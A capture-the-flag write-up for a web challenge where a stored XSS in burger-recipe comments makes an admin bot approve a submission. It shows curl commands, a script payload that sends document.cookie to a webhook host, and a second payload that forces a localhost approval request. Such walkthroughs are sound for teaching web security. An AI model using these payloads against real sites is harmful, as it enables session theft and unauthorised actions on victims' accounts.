Tags: stored-xss web xss 

Rating: 5.0

### **TL;DR:**

We have been given a website ***Rob’s Burgers*** where registered users can submit a burger request, the grillmaster checks each new request, by default all new requests are not approved.
To prevent cookie theft, website devolopers use HttpOnly attribute for the account session cookie.
Our goal is to approve our request as gillmaster since he is the only allowed user to perform such action.

The challenge demonstrate how only using the attribute HttpOnly is not a compleate solution to prevent cookie theft and to mitgate XSS attacks, where this mechanism should be complemented with other security measures.

### **Solution:**
Looking around the website, create an account, login as the new created user and make some submissions with a generic XSS payload in the comments, we can see clearly that the website is vulnerable to stored XSS, since our submission are stored and each time it's opended the injected XSS is executed. While making a new submission we see the below message:
> The grillmaster is evaluating your recipe. Please wait....

From the above message, we can note that our request is checked by the admin **grillmaster**
And then it shows whether your submission is successful or not:
> Submission successful!

After a successful submession, we can find our request under ***My Submissions*** tab, we see a ***Winner*** column with a red cross check mark, this is the case for all requests that we submit. Inside each submission we see the button ***Award Prize***, by clicking on the button we get the below error:
> Access Denied: Only the grillmaster can choose a winning burger recipe!

So since the ***grillmaster*** is the only user that can aprove our request, the first thing that comes in mind is to steal the ***grillmaster*** cookies.

With that being sed, let's start by creating an account, login into it, create a new submission with no XSS, seting our webhook, and then create another submission with our crafted XSS payload to send us the grillmaster cookies, as shown below:

***Create an account, get our cookie, login and check if we have successfully logged in:***
```
[attacker@machine ~]$ curl -s -D - -o /dev/null -X POST https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/register -d 'username=xsser&password=xsser123&confirm_password=xsser123'
[SNIPPED]
[attacker@machine ~]$ cookie=$(curl -s -D - -o /dev/null -X POST https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/login -d 'username=xsser&password=xsser123' |grep set-cookie | cut -d';' -f1| cut -d: -f2 | sed 's/\s\(.*\)/\1/')
[attacker@machine ~]$ login=$(curl -X GET -H "Cookie: $cookie" https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/)
[attacker@machine ~]$ if [[ $login == *'Login successful.'* ]]; then echo "Login successful."; else echo "Error in Login!"; fi
Login successful.
[attacker@machine ~]$
```

***Create a legitimate request:***
```
[attacker@machine ~]$ submit=$(curl -X POST -H "Cookie: $cookie" -H 'Content-Type: application/json' https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/submission -d '{"title":"Winner","recipe":["Ketchup"],"comments":"Hi Grillmaster, Please select me as a winner."}')
[attacker@machine ~]$ if [[ $submit == *'Submission successful!'* ]]; then echo "Submission successful!"; else echo "Error: $submit"; fi
Submission successful!
[attacker@machine ~]$
```

Set up a webhook, for example we can use Request Bin website.

***Create a malicious request to send grillmaster cookies to our webhook:***
```
[attacker@machine ~]$ echo "{\"title\":\"XSS1\",\"recipe\":[\"Ketchup\"],\"comments\":\"<script> document.location='https://[SNIPPED].pipedream.net/?c='+document.cookie+'&d='+document.domain;</script>\"}" > payload
[attacker@machine ~]$ submit=$(curl -X POST -H "Cookie: $cookie" -H 'Content-Type: application/json' https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/submission -d @payload)
[attacker@machine ~]$ if [[ $submit == *'Submission successful!'* ]]; then echo "Submission successful!"; else echo "Error: $submit"; fi
Submission successful!
[attacker@machine ~]$
```

Checking our webhook shows that cookies are empty!!, let's take a look into our account's cookies, oh yeh our cookie ***session*** is set with the HttpOnly attribute, that's way the grillmaster cookies are empty, cause HttpOnly flag prevent us to read the user cookies using JavaScript.

The grillmaster's domain property is set with "***localhost***" which mean that grillmaster is checking our requests from the server itself (most likely a script running on the background), this can also be confirmed with the HTTP header: ***referer: http://localhost:1337/***, from referer header we can also noe that the port hosting the website in localhost is ***1337***.

***So let's craft a XSS payload to approve our too first request (the legitimate one) as grillmaster:***
```
[attacker@machine ~]$ echo "{\"title\":\"XSS\",\"recipe\":[\"Ketchup\"],\"comments\":\"<script> document.location='http://localhost:1337/submission/128/approve'; </script>\"}" > payload
[attacker@machine ~]$ submit=$(curl -X POST -H "Cookie: $cookie" -H 'Content-Type: application/json' https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/submission -d @payload)
[attacker@machine ~]$ if [[ $submit == *'Submission successful!'* ]]; then echo "Submission successful!"; else echo "Error: $submit"; fi
Submission successful!
[attacker@machine ~]$
```

Great now we can see that our initial request is approved by grillmaster using our XSS payload, below the flag:

```
[attacker@machine ~]$ flag=$(echo $(curl -X GET -H "Cookie: $cookie" https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/submission/128) | sed
's/.*\(USCG{[a-zA-Z0-9_-]*}\).*/\1/g')
[attacker@machine ~]$ echo "[+]Here is your flag: $flag"
[+]Here is your flag: USCG{sp3c14l_5auc3_ftw}
[attacker@machine ~]$
```

***Note:***
In the case of this challenge, to get ride of what ever domain grillmaster is using to access the website, you can simply append "/approve" to the documment.location as shown in the [CTF author's writeup](https://github.com/tj-oconnor/cyber-open-2022/tree/main/web/grillmaster).

RefaatJuly 20, 2022, 2:28 a.m.

Nice